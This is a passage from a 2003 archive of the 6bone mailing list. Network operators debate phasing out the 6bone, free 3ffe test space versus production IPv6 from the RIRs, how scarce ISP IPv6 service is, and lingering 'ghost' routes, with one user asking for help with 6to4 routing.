> >
> >I can see there being a cost implication for a non-RIR member, but for an
> >existing RIR member? I'm just wondering if the RIRs maybe need to do more
> >publicity to their membership about the availability of production v6
> >space (I somehow doubt this), or, as I just mentioned to Bill, there is
> >something special about 3ffe::/16 which can't be satisfied by production
space.
>
> There are differences between the RIRs and what and how they charge.
>
> There isn't anything different about the 3FFE prefix these days (now that
> production prefixes are available) other than they can be gotten for early
> trials and for free. This is not to undercut the RIRs (this has all
existed
> for 7 years now, well before the RIRs handed out v6 prefixes) rather to
> make sure there is an early environment for trying out (often called
> testing and experimentation) IPv6. We all too often focus on this being
> free to the pTLA holder, but the greater reality is the no cost method it
> provides to the downstream users of these pTLAs.
>
> That is, there are many thousands of user end-sites, and some intermediate
> networks, that are able to try out IPv6 without having to search out a
> production IPv6 vendor (and there are still very few), make a contract
with
> them, and pay real money that is often not available at this stage. A good
> example of this are the various automatic tunnelling sites (like Viagenie
> et al) that serve many many users with no special arrangements or costs
> other than setting up the service for the user. These uses are meritorious
> at this very early stage of IPv6.
>
> When it is reasonable to end the 6bone service is being determined as we
> speak through the 6bone phaseout planning discussions. It does need to end
> sometime, but we want to make sure it doesn't go away until it isn't
needed
> during the early deployment stage (that we are at now).
>
>
> >BTW, I am definitely not suggesting denying NECTEC their request, just
> >curious to understand what technical differences exist between 3ffe::/16
> >and 2001::/16 space which causes them as an APNIC member to not simply
get
> >their space from APNIC. APNIC allows people to return production space
(as
> >they do for IPv4 space), and production space can be used for trying
> >things out (as we know in IPv4-land).
>
> Can't comment on that.
>
>
> Thanks,
>
> Bob
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone


From bob@thefinks.com Thu Feb 27 15:22:38 2003
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Date: Thu, 27 Feb 2003 15:10:46 -0800
To: todd@fries.net
From: Bob Fink <bob@thefinks.com>
Subject: Re: [6bone] 6bone transitions planning BOF in San Francisco
Cc: 6BONE List <6bone@mailman.isi.edu>
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Todd,

At 04:49 PM 2/27/2003 -0600, Todd T. Fries wrote:
>I cannot be there, but I find it disturbing that in 3 short years I will
>no longer be able to connect to the 6bone.  I presume that by that time
>tunnel providers (such as www.freenet6.net) will have migrated their
>users over to real addresses?
>
>Or do I really need to start pressuring my upstreams to provide ipv6
>connectivity?

Presumably talking to the 6bone isn't your issue (if it's gone anyway), 
rather talking to real IPv6 sites. Yes, you should pressure your ISPs for 
IPv6 service.

Please give me your opinion of a phaseout schedule for the 6bone if you 
don't like the one published. We are doing this to get input, not to 
declare a done deal.


Thanks,

Bob 


From dan@reeder.name Thu Feb 27 15:37:44 2003
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6bone folk;
I have been wondering of late (probably due to unemployment) what options
there may be of profiteering from IPv6 at this stage in its development. It
seems that everything I've seen on this list has been related to relatively
large corporations, at least as far as BGP is concerned.
Now I had the idea of doign something like independant consulting for
companies wanting to migrate to v6 and whatnot. Understandably I need to
learn as much as I can about the v6 routing operations (eg Zebra), but as I
see it I can't get any operational experience at all with it in my current
situation... unless there was a facility somewhere in the v6 world for me to
obtain a private ASN (for free) from a vendor with multiple pops around the
world, and some address space (free) so that I can get a relatively small
yet for all intents and purposes operational BGP setup going.

Does this sound ok, or too outrageous? Does anyone know of any v6 providors
offering this? Once again I have to stress that it this would be for
experimental testing and self education purposes only.

regards,
Dan


From bob@thefinks.com Thu Feb 27 16:01:46 2003
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Dan,

At 09:13 AM 2/28/2003 +1000, Dan Reeder wrote:
> > When it is reasonable to end the 6bone service is being determined as we
> > speak through the 6bone phaseout planning discussions. It does need to end
> > sometime, but we want to make sure it doesn't go away until it isn't
>needed
> > during the early deployment stage (that we are at now).
>
>That raises the question: are we able to force the RIRs to offer globally
>routable FREE production space for the purposes of testing? If not, would
>there be any incentive for carriers / ISPs to offer their clients free
>testing space?
>
>If not then i think 3ffe will remain around for a much longer time than we
>had all hoped.

Presumably any prefix from the RIRs, testing or otherwise, is globally 
routable. The harder issue is who will peer with you (6bone or RIR prefix).


Bob  


From gert@Space.Net Thu Feb 27 16:32:03 2003
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To: "Todd T. Fries" <todd@fries.net>
Cc: Bob Fink <bob@thefinks.com>, 6BONE List <6bone@mailman.isi.edu>
Subject: Re: [6bone] 6bone transitions planning BOF in San Francisco
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Hi,

On Thu, Feb 27, 2003 at 04:49:07PM -0600, Todd T. Fries wrote:
> Or do I really need to start pressuring my upstreams to provide ipv6
> connectivity?

Please do so.

We have just recently turned down an upstream offering (with a good price)
because they are neither offering multicast nor IPv6.  That's just not
acceptable anymore.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  57147 (56285)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From gert@Space.Net Thu Feb 27 16:35:28 2003
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Hi,

On Fri, Feb 28, 2003 at 09:13:39AM +1000, Dan Reeder wrote:
> That raises the question: are we able to force the RIRs to offer globally
> routable FREE production space for the purposes of testing? If not, would
> there be any incentive for carriers / ISPs to offer their clients free
> testing space?

As soon as IPv6 connectivity is a commodity item (hopefully soon) this
point seems moot to me.  If you just can connect to any upstream of your
choice and get IPv6 in addition to IPv4 (and as it's a /48 by default,
which is "large enough for even extensive tests") I don't see much need
for special "test address space".

(Besides this there *is* a policy in RIPE and APNIC land that you can 
get address space for testing from them. The duration is limited, and
you need a good reason, but it's there).

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  57147 (56285)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From pekkas@netcore.fi Thu Feb 27 22:06:58 2003
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From: Pekka Savola <pekkas@netcore.fi>
To: "Todd T. Fries" <todd@fries.net>
cc: Bob Fink <bob@thefinks.com>, 6BONE List <6bone@mailman.isi.edu>
Subject: Re: [6bone] 6bone transitions planning BOF in San Francisco
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On Thu, 27 Feb 2003, Todd T. Fries wrote:
> Or do I really need to start pressuring my upstreams to provide ipv6
> connectivity?

You should have started a long time ago.

If you don't ask for it, you're never (or in a reasonable time at least)
going to get it, that's how the market works.

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings


From xuemei09@yahoo.co.uk Fri Feb 28 01:29:29 2003
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Hi all,

Thanks for any hints on my problem! 

Here is my problem. I have a 6To4 linux PC. I would like to have the access to both native IPv6 and IPv4 Internet for this PC. I used: route -A inet6 add 2002::/16 dev sit0 and route -A inet6 add 2001::/16 via 192.88.99.1 dev eth0 (p.s. I am not happy to use this command, because the PC can only access prefix 2001 native IPv6). However it did not work. 

Is there anybody with the experiences to do the IPv6 and IPv4 routing for a 6To4 linux PC? Please, help.

Xuemei




---------------------------------
With Yahoo! Mail you can get a bigger mailbox -- choose a size that fits your needs

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<P>Hi all,</P>
<P>Thanks for any hints on my problem! </P>
<P>Here is my problem. I have a 6To4 linux PC. I would like to have the access to both native IPv6 and IPv4 Internet for this PC. I used: route -A inet6 add 2002::/16 dev sit0 and route -A inet6 add 2001::/16 via 192.88.99.1 dev eth0 (p.s. I am not happy to use this command, because the PC can only access prefix 2001 native IPv6). However it did not work. </P>
<P>Is there anybody with the experiences to do the IPv6 and IPv4 routing for a 6To4 linux PC? Please, help.</P>
<P>Xuemei</P><p><p><br><hr size=1><a href="http://uk.yahoo.com/mail/tagline_xtra/?http://uk.docs.yahoo.com/mail_storage.html"><b><font face="Arial" size="2">With Yahoo! Mail you can get a bigger mailbox -- choose a size that fits your needs</font></b></a><br>
--0-289901187-1046424568=:56732--

From todd@shadow.fries.net Fri Feb 28 03:57:27 2003
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Date: Fri, 28 Feb 2003 05:55:04 -0600
From: "Todd T. Fries" <todd@fries.net>
To: Pekka Savola <pekkas@netcore.fi>
Cc: Bob Fink <bob@thefinks.com>, 6BONE List <6bone@mailman.isi.edu>
Subject: Re: [6bone] 6bone transitions planning BOF in San Francisco
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I asked for it when I first arrived in this area in June of 2000.

I have made references to it since.  I know my isp (a small number of staff)
could be IPv6 capable, they use FreeBSD .. but sofar they choose not to be, I
get the impression 'putting out fires' is about all they can manage.  Their
upstream, COX.net, has little interest in even getting my reverse IPv4 dns
to work w/out me having to query their servers hourly to 'seed' them with
my information, let alone doing IPv6.

How much can I push, being an unemployed residential only customer (working
on starting a consulting business) ?

I guess I could start shopping around, seeing if _any_ ISP that terminates
DSL in the area provides IPv6.
-- 
Todd Fries .. todd@fries.net

I'm available for hire!  http://todd.fries.net/resume.html

(last updated 2003/01/02 02:08:59)

Penned by Pekka Savola on Fri, Feb 28, 2003 at 08:06:24AM +0200, we have:
| On Thu, 27 Feb 2003, Todd T. Fries wrote:
| > Or do I really need to start pressuring my upstreams to provide ipv6
| > connectivity?
| 
| You should have started a long time ago.
| 
| If you don't ask for it, you're never (or in a reasonable time at least)
| going to get it, that's how the market works.
| 
| -- 
| Pekka Savola                 "You each name yourselves king, yet the
| Netcore Oy                    kingdom bleeds."
| Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings

From jeroen@unfix.org Fri Feb 28 04:57:21 2003
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Subject: [6bone] Ghosts for 3ffe:1f00::/24 and 3ffe:3000::/24 - Check your routers
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Hi,

As per usual on http://www.sixxs.net/tools/grh/ghosts/.
3ffe:3000::/24 has been retracted 4 days ago and
is still lingering in the routing tables.
3ffe:1f00::/24 has been lingering for 1+ day now.

Can people check up their _backbone_ routers and tell
what they see about these prefixes?

I am very interrested in knowing what people see coming
in from SPRINT (AS6175), FIBERTEL (AS10318) and ATT-EMEA (AS5623)

Also please submit your IPv6 traceroute's, lookingglasses,
Route Servers and ASpaths tools to Jakub if you are maintaining an AS.
See http://www.traceroute6.org for more information.
Having these would make hunting down these ghosts so much easier.

Greets,
 Jeroen


From itojun@itojun.org Fri Feb 28 05:11:17 2003
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Date: Fri, 28 Feb 2003 22:11:14 +0900
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>Or do I really need to start pressuring my upstreams to provide ipv6
>connectivity?

	yes.  you should have done so yesterday (and make phone call every day).

itojun

From daniel@kewlio.net Fri Feb 28 05:50:02 2003
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References: <005601c2df28$fccc0470$210d640a@unfix.org>
Subject: Re: [6bone] Ghosts for 3ffe:1f00::/24 and 3ffe:3000::/24 - Check your routers
Date: Fri, 28 Feb 2003 13:49:42 -0000
Organization: Kewlio.net Limited
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We see both of these prefixes via AS1752 (BTexact over UK6X) and AS15703 (Trueserver BV over LIPEX).  2 paths to each.
(our LG/traceroute is present on traceroute6.org)


With Thanks,

Daniel Austin,
Managing Director,
Kewlio.net Limited.
<daniel@kewlio.net>

----- Original Message ----- 
From: "Jeroen Massar" <jeroen@unfix.org>
To: <6bone@ISI.EDU>; <v6ops@ops.ietf.org>
Sent: Friday, February 28, 2003 12:57 PM
Subject: [6bone] Ghosts for 3ffe:1f00::/24 and 3ffe:3000::/24 - Check your routers


> Hi,
> 
> As per usual on http://www.sixxs.net/tools/grh/ghosts/.
> 3ffe:3000::/24 has been retracted 4 days ago and
> is still lingering in the routing tables.
> 3ffe:1f00::/24 has been lingering for 1+ day now.
> 
> Can people check up their _backbone_ routers and tell
> what they see about these prefixes?
> 
> I am very interrested in knowing what people see coming
> in from SPRINT (AS6175), FIBERTEL (AS10318) and ATT-EMEA (AS5623)
> 
> Also please submit your IPv6 traceroute's, lookingglasses,
> Route Servers and ASpaths tools to Jakub if you are maintaining an AS.
> See http://www.traceroute6.org for more information.
> Having these would make hunting down these ghosts so much easier.
> 
> Greets,
>  Jeroen
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 

From jguthrie@brokersys.com Fri Feb 28 06:00:11 2003
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To: Gert Doering <gert@space.net>
Cc: Dan Reeder <dan@reeder.name>, Bob Fink <bob@thefinks.com>,
   6bone@mailman.isi.edu
Subject: Re: [6bone] pTLA request by NECTEC-TH - review closes 10 March  2003
Message-ID: <20030228135948.GA17349@brokersys.com>
References: <5.2.0.9.0.20030226182248.02003200@mail.addr.com> <5.1.0.14.2.20030227113545.03c2bdd0@pfs-pc.cisco.com> <5.2.0.9.0.20030224092334.025e5050@mail.addr.com> <5.2.0.9.0.20030227081034.02134498@mail.addr.com> <001e01c2deb5$e169a840$0200a8c0@elf> <20030228013526.J15927@Space.Net>
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On Fri, Feb 28, 2003 at 01:35:26AM +0100, Gert Doering wrote:
 
> On Fri, Feb 28, 2003 at 09:13:39AM +1000, Dan Reeder wrote:
> > That raises the question: are we able to force the RIRs to offer globally
> > routable FREE production space for the purposes of testing? If not, would
> > there be any incentive for carriers / ISPs to offer their clients free
> > testing space?
 
> As soon as IPv6 connectivity is a commodity item (hopefully soon) this
> point seems moot to me.

Well, from where I sit, it appears as if IPv6 is perhaps a decade away
from being available and maybe two more from being a "commodity item".

There is absolutely no evidence that I can find that ANYBODY is offering 
IPv6 Internet connectivity to end users.  Perhaps the backbone providers
have it on their routers and speak it to each other, but it sure hasn't
filtered down to anybody else.
-- 
Jonathan Guthrie (jguthrie@brokersys.com)
Sto pro veritate

From daniel@kewlio.net Fri Feb 28 06:13:05 2003
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To: "Gert Doering" <gert@space.net>,
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Cc: "Dan Reeder" <dan@reeder.name>, "Bob Fink" <bob@thefinks.com>,
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References: <5.2.0.9.0.20030226182248.02003200@mail.addr.com> <5.1.0.14.2.20030227113545.03c2bdd0@pfs-pc.cisco.com> <5.2.0.9.0.20030224092334.025e5050@mail.addr.com> <5.2.0.9.0.20030227081034.02134498@mail.addr.com> <001e01c2deb5$e169a840$0200a8c0@elf> <20030228013526.J15927@Space.Net> <20030228135948.GA17349@brokersys.com>
Subject: Re: [6bone] pTLA request by NECTEC-TH - review closes 10 March  2003
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Hi,

We just got offerred IPv6 production transit by NTT/Verio... but i'm not sure the world is ready to pay for it yet.  We'll see what
they say though.
How many truly ipv6-enabled applications are out there and in use?
How many ipv6-enable websites are there (that are not to do with the 6bone or NOC pages?).  are there any *useful* ipv6 websites out
there?
We have ipv6-enabled our PHP and proftpd mirror sites, but i dont think i've seen a single person hit it from IPv6 other than
myself.


With Thanks,

Daniel Austin,
Managing Director,
Kewlio.net Limited.
<daniel@kewlio.net>

----- Original Message -----
From: "Jonathan Guthrie" <jguthrie@brokersys.com>
To: "Gert Doering" <gert@space.net>
Cc: "Dan Reeder" <dan@reeder.name>; "Bob Fink" <bob@thefinks.com>; <6bone@mailman.isi.edu>
Sent: Friday, February 28, 2003 1:59 PM
Subject: Re: [6bone] pTLA request by NECTEC-TH - review closes 10 March 2003


> On Fri, Feb 28, 2003 at 01:35:26AM +0100, Gert Doering wrote:
>
> > On Fri, Feb 28, 2003 at 09:13:39AM +1000, Dan Reeder wrote:
> > > That raises the question: are we able to force the RIRs to offer globally
> > > routable FREE production space for the purposes of testing? If not, would
> > > there be any incentive for carriers / ISPs to offer their clients free
> > > testing space?
>
> > As soon as IPv6 connectivity is a commodity item (hopefully soon) this
> > point seems moot to me.
>
> Well, from where I sit, it appears as if IPv6 is perhaps a decade away
> from being available and maybe two more from being a "commodity item".
>
> There is absolutely no evidence that I can find that ANYBODY is offering
> IPv6 Internet connectivity to end users.  Perhaps the backbone providers
> have it on their routers and speak it to each other, but it sure hasn't
> filtered down to anybody else.
> --
> Jonathan Guthrie (jguthrie@brokersys.com)
> Sto pro veritate
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


From gert@Space.Net Fri Feb 28 06:38:20 2003
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From: Gert Doering <gert@space.net>
To: Jonathan Guthrie <jguthrie@brokersys.com>
Cc: Gert Doering <gert@space.net>, Dan Reeder <dan@reeder.name>,
   Bob Fink <bob@thefinks.com>, 6bone@mailman.isi.edu
Subject: Re: [6bone] pTLA request by NECTEC-TH - review closes 10 March  2003
Message-ID: <20030228153817.V15927@Space.Net>
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Hi,

On Fri, Feb 28, 2003 at 07:59:48AM -0600, Jonathan Guthrie wrote:
> > As soon as IPv6 connectivity is a commodity item (hopefully soon) this
> > point seems moot to me.
> 
> Well, from where I sit, it appears as if IPv6 is perhaps a decade away
> from being available and maybe two more from being a "commodity item".

Ummm.  It depends very much where you sit, indeed.  I think Japan is
nearly there.  Europe is moving.  The US is waiting for a flag day (or
something).

> There is absolutely no evidence that I can find that ANYBODY is offering 
> IPv6 Internet connectivity to end users.  Perhaps the backbone providers
> have it on their routers and speak it to each other, but it sure hasn't
> filtered down to anybody else.

We're offering it to all our customers, for no extra charge on top of
what they pay for their IPv4 account.  Admittedly we can't yet offer it
on all products (some hardware vendors are just not there yet), but on
the other hand the demand hasn't been overwhelming either...

(Who's "we"? - We're a regional ISP in Germany.  Overall, IPv6 support
among the smaller ISPs in Germany and the whole european region is 
growing pretty quickly.  It's not yet "omnipresent" - far from that - but 
I am pretty optimistic.)

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  57021 (57147)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From jguthrie@brokersys.com Fri Feb 28 07:35:33 2003
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Cc: Dan Reeder <dan@reeder.name>, Bob Fink <bob@thefinks.com>,
   6bone@mailman.isi.edu
Subject: Re: [6bone] pTLA request by NECTEC-TH - review closes 10 March  2003
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On Fri, Feb 28, 2003 at 03:38:17PM +0100, Gert Doering wrote:
 
> On Fri, Feb 28, 2003 at 07:59:48AM -0600, Jonathan Guthrie wrote:
> > > As soon as IPv6 connectivity is a commodity item (hopefully soon) this
> > > point seems moot to me.
 
> > Well, from where I sit, it appears as if IPv6 is perhaps a decade away
> > from being available and maybe two more from being a "commodity item".
 
> Ummm.  It depends very much where you sit, indeed.  I think Japan is
> nearly there.  Europe is moving.  The US is waiting for a flag day (or
> something).

So, IPv6 is almost ready for "commodity" status even though a
substantial fraction of all Internet users don't have access to it and
won't for some time?  Isn't the Internet supposed to be about
facilitating communications?

Look, all I'm really trying to do is point out that the statements I
keep reading about how the 6Bone is ready to be disbanded are perhaps
not representative of the worldwide situation.  I also suppose it depends
on what you think the 6bone is.  Is it a collection of people with pTLA's?
Is it a collection of tunnels?  Is it neither?  Is it both?  What does
it mean to say that the 6bone is ended?

> > There is absolutely no evidence that I can find that ANYBODY is offering 
> > IPv6 Internet connectivity to end users.  Perhaps the backbone providers
> > have it on their routers and speak it to each other, but it sure hasn't
> > filtered down to anybody else.
 
> We're offering it to all our customers, for no extra charge on top of
> what they pay for their IPv4 account.

Fine.  Give me your POP number for Houston, TX, US, and I'll switch to 
your service.  Telling me about what you give YOUR customers when it is
not in any way, shape, or form available to me does not impress me at all
about how close IPv6 is to being a "commodity" item.

For what it's worth, I would expect IPv6 connectivity to be available
along with IPv4 for no additional cost for a time and that the IPv4
connectivity will be eventually dropped or will be included as an
additional cost item.  (I expect that IPv4 will be around for decades
after most everybody switches to something else, but it won't
necessarily be routable on the Internet.)  The only open question is
about the timing.

My analysis for how much I'm willing to pay right now for IPv6 access
in addition to IPv4 access was intended to anticipate that someone would
suggest using a commercial tunnel broker.  (I expect that such things
will exist even if they don't right now.)  That is simply not an option
at this time.

> Admittedly we can't yet offer it
> on all products (some hardware vendors are just not there yet), but on
> the other hand the demand hasn't been overwhelming either...

I use an Lucent Pipeline 75 to access the Internet.  It talks to a
Lucent Max TNT.  Neither of those apparently has any support for IPv6.
Now, apparently the Cisco AS 5[34]00 series equipment does, but I don't
know anybody running that equipment.  I HAVE been out of the loop fo
a while on what people are using for their dial-in equipment.  Perhaps
someone could give some figures on how many dial-in lines in the world
are on equipment that are capable of handling IPv6.

Also, bear in mind that I am in a position to demand nothing from my
upstream provider.  "Give me IPv6 or I'll disconnect from the Internet"
doesn't strike me as a credible threat.
-- 
Jonathan Guthrie (jguthrie@brokersys.com)
Sto pro veritate

From bmanning@ISI.EDU Fri Feb 28 07:40:34 2003
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Subject: Re: [6bone] pTLA request by NECTEC-TH - review closes 10 March  2003
In-Reply-To: <016e01c2df33$7976cc30$6ea0fea9@DanLaptop> from Daniel Austin at "Feb 28, 3 02:12:31 pm"
To: daniel@kewlio.net
Date: Fri, 28 Feb 2003 07:40:22 -0800 (PST)
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 Lucky you.  I've asked them for this repeatedly and was told they dont
 offer this service in the market im in (Los Angeles)... ymmv



% Hi,
% 
% We just got offerred IPv6 production transit by NTT/Verio... but i'm not sure the world is ready to pay for it yet.  We'll see what
% they say though.
% How many truly ipv6-enabled applications are out there and in use?
% How many ipv6-enable websites are there (that are not to do with the 6bone or NOC pages?).  are there any *useful* ipv6 websites out
% there?
% We have ipv6-enabled our PHP and proftpd mirror sites, but i dont think i've seen a single person hit it from IPv6 other than
% myself.
% 
% 
% With Thanks,
% 
% Daniel Austin,
% Managing Director,
% Kewlio.net Limited.
% <daniel@kewlio.net>
% 
% ----- Original Message -----
% From: "Jonathan Guthrie" <jguthrie@brokersys.com>
% To: "Gert Doering" <gert@space.net>
% Cc: "Dan Reeder" <dan@reeder.name>; "Bob Fink" <bob@thefinks.com>; <6bone@mailman.isi.edu>
% Sent: Friday, February 28, 2003 1:59 PM
% Subject: Re: [6bone] pTLA request by NECTEC-TH - review closes 10 March 2003
% 
% 
% > On Fri, Feb 28, 2003 at 01:35:26AM +0100, Gert Doering wrote:
% >
% > > On Fri, Feb 28, 2003 at 09:13:39AM +1000, Dan Reeder wrote:
% > > > That raises the question: are we able to force the RIRs to offer globally
% > > > routable FREE production space for the purposes of testing? If not, would
% > > > there be any incentive for carriers / ISPs to offer their clients free
% > > > testing space?
% >
% > > As soon as IPv6 connectivity is a commodity item (hopefully soon) this
% > > point seems moot to me.
% >
% > Well, from where I sit, it appears as if IPv6 is perhaps a decade away
% > from being available and maybe two more from being a "commodity item".
% >
% > There is absolutely no evidence that I can find that ANYBODY is offering
% > IPv6 Internet connectivity to end users.  Perhaps the backbone providers
% > have it on their routers and speak it to each other, but it sure hasn't
% > filtered down to anybody else.
% > --
% > Jonathan Guthrie (jguthrie@brokersys.com)
% > Sto pro veritate
% > _______________________________________________
% > 6bone mailing list
% > 6bone@mailman.isi.edu
% > http://mailman.isi.edu/mailman/listinfo/6bone
% >
% 
% _______________________________________________
% 6bone mailing list
% 6bone@mailman.isi.edu
% http://mailman.isi.edu/mailman/listinfo/6bone
% 


-- 
--bill

Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).


From daniel@kewlio.net Fri Feb 28 07:54:27 2003
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From: "Daniel Austin" <daniel@kewlio.net>
To: "Bill Manning" <bmanning@ISI.EDU>
Cc: <gert@space.net>, <jguthrie@brokersys.com>, <dan@reeder.name>,
   <bob@thefinks.com>, <6bone@ISI.EDU>
References: <200302281540.h1SFeMc27123@boreas.isi.edu>
Subject: Re: [6bone] pTLA request by NECTEC-TH - review closes 10 March  2003
Date: Fri, 28 Feb 2003 15:53:49 -0000
Organization: Kewlio.net Limited
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Hi Bill,

They have a "press release" on their website saying they started their european ipv6 transit on 18th Feb 2003.  Perhaps worth
another check with them...


With Thanks,

Daniel Austin,
Managing Director,
Kewlio.net Limited.
<daniel@kewlio.net>

----- Original Message -----
From: "Bill Manning" <bmanning@ISI.EDU>
To: <daniel@kewlio.net>
Cc: <gert@space.net>; <jguthrie@brokersys.com>; <dan@reeder.name>; <bob@thefinks.com>; <6bone@ISI.EDU>
Sent: Friday, February 28, 2003 3:40 PM
Subject: Re: [6bone] pTLA request by NECTEC-TH - review closes 10 March 2003


> Lucky you.  I've asked them for this repeatedly and was told they dont
>  offer this service in the market im in (Los Angeles)... ymmv
>
>
>
> % Hi,
> %
> % We just got offerred IPv6 production transit by NTT/Verio... but i'm not sure the world is ready to pay for it yet.  We'll see
what
> % they say though.
> % How many truly ipv6-enabled applications are out there and in use?
> % How many ipv6-enable websites are there (that are not to do with the 6bone or NOC pages?).  are there any *useful* ipv6 websites
out
> % there?
> % We have ipv6-enabled our PHP and proftpd mirror sites, but i dont think i've seen a single person hit it from IPv6 other than
> % myself.
> %
> %
> % With Thanks,
> %
> % Daniel Austin,
> % Managing Director,
> % Kewlio.net Limited.
> % <daniel@kewlio.net>
> %
> % ----- Original Message -----
> % From: "Jonathan Guthrie" <jguthrie@brokersys.com>
> % To: "Gert Doering" <gert@space.net>
> % Cc: "Dan Reeder" <dan@reeder.name>; "Bob Fink" <bob@thefinks.com>; <6bone@mailman.isi.edu>
> % Sent: Friday, February 28, 2003 1:59 PM
> % Subject: Re: [6bone] pTLA request by NECTEC-TH - review closes 10 March 2003
> %
> %
> % > On Fri, Feb 28, 2003 at 01:35:26AM +0100, Gert Doering wrote:
> % >
> % > > On Fri, Feb 28, 2003 at 09:13:39AM +1000, Dan Reeder wrote:
> % > > > That raises the question: are we able to force the RIRs to offer globally
> % > > > routable FREE production space for the purposes of testing? If not, would
> % > > > there be any incentive for carriers / ISPs to offer their clients free
> % > > > testing space?
> % >
> % > > As soon as IPv6 connectivity is a commodity item (hopefully soon) this
> % > > point seems moot to me.
> % >
> % > Well, from where I sit, it appears as if IPv6 is perhaps a decade away
> % > from being available and maybe two more from being a "commodity item".
> % >
> % > There is absolutely no evidence that I can find that ANYBODY is offering
> % > IPv6 Internet connectivity to end users.  Perhaps the backbone providers
> % > have it on their routers and speak it to each other, but it sure hasn't
> % > filtered down to anybody else.
> % > --
> % > Jonathan Guthrie (jguthrie@brokersys.com)
> % > Sto pro veritate
> % > _______________________________________________
> % > 6bone mailing list
> % > 6bone@mailman.isi.edu
> % > http://mailman.isi.edu/mailman/listinfo/6bone
> % >
> %
> % _______________________________________________
> % 6bone mailing list
> % 6bone@mailman.isi.edu
> % http://mailman.isi.edu/mailman/listinfo/6bone
> %
>
>
> --
> --bill
>
> Opinions expressed may not even be mine by the time you read them, and
> certainly don't reflect those of any other entity (legal or otherwise).
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


From bmanning@ISI.EDU Fri Feb 28 08:32:51 2003
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <200302281632.h1SGWbA01262@boreas.isi.edu>
Subject: Re: [6bone] pTLA request by NECTEC-TH - review closes 10 March  2003
In-Reply-To: <02b901c2df41$9fb0d630$6ea0fea9@DanLaptop> from Daniel Austin at "Feb 28, 3 03:53:49 pm"
To: daniel@kewlio.net
Date: Fri, 28 Feb 2003 08:32:37 -0800 (PST)
Cc: bmanning@ISI.EDU, gert@space.net, jguthrie@brokersys.com, dan@reeder.name,
   bob@thefinks.com, 6bone@ISI.EDU
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 sure. Europe.  Not the west coast of the US.  


% Hi Bill,
% 
% They have a "press release" on their website saying they started their european ipv6 transit on 18th Feb 2003.  Perhaps worth
% another check with them...
% 
% 
% With Thanks,
% 
% Daniel Austin,
% Managing Director,
% Kewlio.net Limited.
% <daniel@kewlio.net>
% 
% ----- Original Message -----
% From: "Bill Manning" <bmanning@ISI.EDU>
% To: <daniel@kewlio.net>
% Cc: <gert@space.net>; <jguthrie@brokersys.com>; <dan@reeder.name>; <bob@thefinks.com>; <6bone@ISI.EDU>
% Sent: Friday, February 28, 2003 3:40 PM
% Subject: Re: [6bone] pTLA request by NECTEC-TH - review closes 10 March 2003
% 
% 
% > Lucky you.  I've asked them for this repeatedly and was told they dont
% >  offer this service in the market im in (Los Angeles)... ymmv
% >
% >
% >
% > % Hi,
% > %
% > % We just got offerred IPv6 production transit by NTT/Verio... but i'm not sure the world is ready to pay for it yet.  We'll see
% what
% > % they say though.
% > % How many truly ipv6-enabled applications are out there and in use?
% > % How many ipv6-enable websites are there (that are not to do with the 6bone or NOC pages?).  are there any *useful* ipv6 websites
% out
% > % there?
% > % We have ipv6-enabled our PHP and proftpd mirror sites, but i dont think i've seen a single person hit it from IPv6 other than
% > % myself.
% > %
% > %
% > % With Thanks,
% > %
% > % Daniel Austin,
% > % Managing Director,
% > % Kewlio.net Limited.
% > % <daniel@kewlio.net>
% > %
% > % ----- Original Message -----
% > % From: "Jonathan Guthrie" <jguthrie@brokersys.com>
% > % To: "Gert Doering" <gert@space.net>
% > % Cc: "Dan Reeder" <dan@reeder.name>; "Bob Fink" <bob@thefinks.com>; <6bone@mailman.isi.edu>
% > % Sent: Friday, February 28, 2003 1:59 PM
% > % Subject: Re: [6bone] pTLA request by NECTEC-TH - review closes 10 March 2003
% > %
% > %
% > % > On Fri, Feb 28, 2003 at 01:35:26AM +0100, Gert Doering wrote:
% > % >
% > % > > On Fri, Feb 28, 2003 at 09:13:39AM +1000, Dan Reeder wrote:
% > % > > > That raises the question: are we able to force the RIRs to offer globally
% > % > > > routable FREE production space for the purposes of testing? If not, would
% > % > > > there be any incentive for carriers / ISPs to offer their clients free
% > % > > > testing space?
% > % >
% > % > > As soon as IPv6 connectivity is a commodity item (hopefully soon) this
% > % > > point seems moot to me.
% > % >
% > % > Well, from where I sit, it appears as if IPv6 is perhaps a decade away
% > % > from being available and maybe two more from being a "commodity item".
% > % >
% > % > There is absolutely no evidence that I can find that ANYBODY is offering
% > % > IPv6 Internet connectivity to end users.  Perhaps the backbone providers
% > % > have it on their routers and speak it to each other, but it sure hasn't
% > % > filtered down to anybody else.
% > % > --
% > % > Jonathan Guthrie (jguthrie@brokersys.com)
% > % > Sto pro veritate
% > % > _______________________________________________
% > % > 6bone mailing list
% > % > 6bone@mailman.isi.edu
% > % > http://mailman.isi.edu/mailman/listinfo/6bone
% > % >
% > %
% > % _______________________________________________
% > % 6bone mailing list
% > % 6bone@mailman.isi.edu
% > % http://mailman.isi.edu/mailman/listinfo/6bone
% > %
% >
% >
% > --
% > --bill
% >
% > Opinions expressed may not even be mine by the time you read them, and
% > certainly don't reflect those of any other entity (legal or otherwise).
% >
% > _______________________________________________
